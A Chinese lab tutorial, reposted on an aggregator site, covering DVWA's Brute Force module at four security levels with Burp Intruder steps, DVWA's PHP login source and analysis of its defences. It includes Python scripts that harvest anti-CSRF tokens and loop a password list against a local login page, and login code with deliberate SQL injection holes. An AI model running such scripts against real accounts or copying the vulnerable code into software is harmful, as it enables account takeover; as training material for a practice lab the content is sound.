dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)

这篇具有很好参考价值的文章主要介绍了dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

建议使用owaspbwa靶场可以不用搭建dvwa以及其他常用靶场,省去搭建靶场的困扰,但是此靶机靶场较老,并不建议使用

owaspbwa下载地址: OWASP Broken Web Applications Project download | SourceForge.net

注:owaspbwa的本机用户名root密码owaspbwa,记得看看靶机的ip方便以后使用。dvwa的用户名和密码都为admin(owaspbwa中的dvwa是此,其他的用户名为admin密码为password)

暴力破解原理

利用抓包软件抓包,来不断对单个用户名穷举密码的操作

注:密码本和用户名本里面应当有所谓的用户名和密码

Brute Force(Security Level: low)

漏洞利用

打开burp对此网站抓包,用户和密码就是随便输入,只是为了抓包

dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)

将此数据包发送到intruder模块

dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)
dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)

这里会有几个标出来的字段,直接选择clear,选中需要爆破是username和password的值利用add添加(也可以直接爆破密码)(前提是要知道用户名建议直接admin)

dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)

选中paysloads模块,进行设置,直接在payload options选择load去添加字典,或者用add添加单个字段

dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)

点击右上角的start attack就行,等待一下就可以

通过status和length筛选可以看到密码

dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)

代码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

就是一个只实现了登入的代码,只是对密码进行md5加密,防止我们通过密码进行SQL注入(可以使用username进行SQL注入),可没有对帐号的登入尝试次数做限制。

Brute Force(Security Level: medium)

漏洞利用

与上一难度一样,但是需要设置时停

修改burp的resource pool模块(本模块是修改攻击速度)

dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)

按此配置就行,可以试试能不能更快爆破,只要大于网站要求请求时间就可

结果与上面一样(爆破会很慢的,就不放出来了)

代码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

这边的代码加上了一个,延迟两秒才能下一个,所以延长了爆破时间,怎加的是时间成本。

mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义,基本可以抵抗SQL注入

Brute Force(Security Level: high)

漏洞利用

建议看看token是否正常,建议用Linux

burp抓包

前面一样,修改options下的grep-extract和

dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)
dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)

找到token

先修改值,在单击refetch response

dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)

将payloads下的payload set 改为2

就可以攻击了

python脚本

python2.x脚本

from bs4 import BeautifulSoup
import urllib2
header={'Host':'127.0.0.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'cookie':'PHPSESSID=6oqhn9tsrs80rbf3h4cvjutnn6; security=high',
        'Connection':'close',
        'Upgrade-Insecure-Requests':'1'
        }
requrl="http://127.0.0.1/vulnerabilities/brute/"
 
def get_token(requrl,header):
    req=urllib2.Request(url=requrl,headers=header)
    response=urllib2.urlopen(req)
    print response.getcode(),
    the_page=response.read()
    print len(the_page)
    soup=BeautifulSoup(the_page,"html.parser")   #将返回的html页面解析为一个BeautifulSoup对象
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']               #获取用户的token
    return user_token
 
user_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):
    requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print i , 'admin' ,line.strip(),
    user_token=get_token(requrl,header)
    if(i==20):
        break

python3.x

from bs4 import BeautifulSoup
import requests
 
header={'Host':'127.0.0.1',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Referer':'http://127.0.0.1/vulnerabilities/brute/',
        'cookie':'PHPSESSID=8p4kb7jc1df431lo6qe249quv2; security=high',
        'Connection':'close',
        'Upgrade-Insecure-Requests':'1'
        }
requrl="http://127.0.0.1/vulnerabilities/brute/"
 
def get_token(requrl,header):
    response=requests.get(url=requrl,headers=header)
    print (response.status_code,len(response.content))
    soup=BeautifulSoup(response.text,"html.parser")
    input=soup.form.select("input[type='hidden']")   #返回的是一个list列表
    user_token=input[0]['value']                   #获取用户的token
    return user_token
 
user_token=get_token(requrl,header)
i=0
for line in open("E:\Password\mima.txt"):
    requrl="http://127.0.0.1/vulnerabilities/brute/?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
    i=i+1
    print (i , 'admin' ,line.strip(),end="  ")
    user_token=get_token(requrl,header)
    if(i==20):
        break

这个是参考的(2条消息) DVWA之Brute Force(暴力破解)_谢公子的博客-CSDN博客_dvwa brute force

这个自己跑下吧

代码分析

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

前面的防护基础上加上了Anti-CSRF token来抵御CSRF的攻击,使用了stripslashes函数和mysqli_real_esacpe_string来抵御SQL注入和XSS的攻击。由于使用了Anti-CSRF token,每次服务器返回的登陆页面中都会包含一个随机的user_token的值,用户每次登录时都要将user_token一起提交。服务器收到请求后,会优先做token的检查,再进行sql查询。

Brute Force(Security Level: impossible)

代码分析

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在上一难度的基础上对用户的操作做了限制,当登入失败3此后,账号会锁住15s,同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这里因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。文章来源地址https://www.toymoban.com/news/detail-485130.html

到了这里,关于dvwa靶场Brute Force(暴力破解)全难度教程(附代码分析)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DVWA——暴力破解

    1.首先打开dvwa,usename为admin,随便写一个密码123456,先不要点login。  2.然后打开bp,进行抓包拦截。  3.然后回到dvwa,点击login。 4.回到bp,将其发至inturder和repeater,然后点击intruder。 5.查看一下对不对。  6.选择sniper狙击,然后点击clear$,清除bp自己选择的爆破位置,选择pas

    2024年02月07日
    浏览(40)
  • 【业务安全-03】业务逻辑漏洞之暴力破解(Burte Force)

    暴力破解是一种针对于密码或身份认证的破译方法,即穷举尝试各种可能,找到突破身份认证的一种攻击方法。 暴力破解是一把双刃剑,一方面能够被恶意者使用,另一方面在计算机安全性方面却非常重要,它用于检查系统、网络或应用程序中使用的弱密码。 “暴力破解”

    2023年04月08日
    浏览(48)
  • DVWA暴力破解高级模式宏爆破

    先将安全等级调至高级,点击 submit 提交 浏览器开启 bp 代理 kali开启 bp 工具,开启 Proxy 点击 Brute Force 这个选项卡 bp拦截到请求的数据包 宏设置 如果是有的 bp 版本比较旧,在旧版本的上面菜单栏有一个 Project options 点击去选择 Session ,就会出现跟下面一样的宏界面 宏设置

    2024年02月13日
    浏览(45)
  • Dvwa之暴力破解全级别学习笔记

    暴力破解也可称为穷举法、枚举法,是一种针对于密码的破译方法,将密码进行逐个推算直到找出真正的密码为止。设置长而复杂的密码、在不同的地方使用不同的密码、避免使用个人信息作为密码、定期修改密码等是防御暴力破解的有效方法。但从理论上来说,只要字典足

    2024年02月02日
    浏览(28)
  • pikachu靶场之暴力破解

    目录 一、什么是暴力破解 二、burpsuite四种攻击类型   1. sniper(狙击手模式)  2. battering ram(攻城锤模式) 3. pitchfrk(音叉模式)   4. cluster bomb(集数炸弹模式)    三、pikachu暴力破解 1. 基于表单的暴力破解 2. 验证码绕过(on server)  3. 验证码绕过(on client) 4. on client和on server 5. token防

    2024年02月05日
    浏览(27)
  • 认证崩溃(中)之暴力破解和靶场实验一

    1、暴力破解概述 暴力破解(Brute Force)也称字典攻击、枚举测试、穷举法测试,就是将每个可能的结果逐个比较,直到找出正确结果为止。常被用于攻击网站的用户名或密码,使用自动化脚本以枚举的方式尝试所有可能的用户名或密码组合。主要是窃取用户个人信息和获取网站

    2024年02月08日
    浏览(40)
  • 暴力破解【验证码绕过、token防爆破】靶场实验

    ★★实战前置声明★★ 文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 爆破工具Burp Suite是用于攻击web应用程序的集成平台,包含许多工具,并为这些工

    2024年02月06日
    浏览(36)
  • 搭建本地DVWA靶场教程 及 靶场使用实例

    DVWA(Damn Vulnerable Web Application)一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用平台,旨在为网络安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。 DVWA还可以手动调整靶机源码的安全级别,分别为Low,Medium,High,Im

    2024年02月15日
    浏览(31)
  • 搭建本地DVWA靶场教程 及 靶场使用示例

    DVWA(Damn Vulnerable Web Application)一个用来进行安全脆弱性鉴定的PHP/MySQL Web 应用平台,旨在为网络安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。 DVWA还可以手动调整靶机源码的安全级别,分别为Low,Medium,High,Im

    2024年02月15日
    浏览(25)
  • DVWA靶场虚拟机搭建教程

        DVWA是一款面世时间较长的Web渗透靶场,向网络安全专业人员提供合法的专业技能和应用测试环境,其特点是提供了包含Low、Medium、High、Impossible四个等级的渗透防护,防护等级越高,渗透难度越大,平时常用于我们进行XSS、CSRF漏洞的练习等,今天为小伙伴们带来DVWA的安

    2024年02月04日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包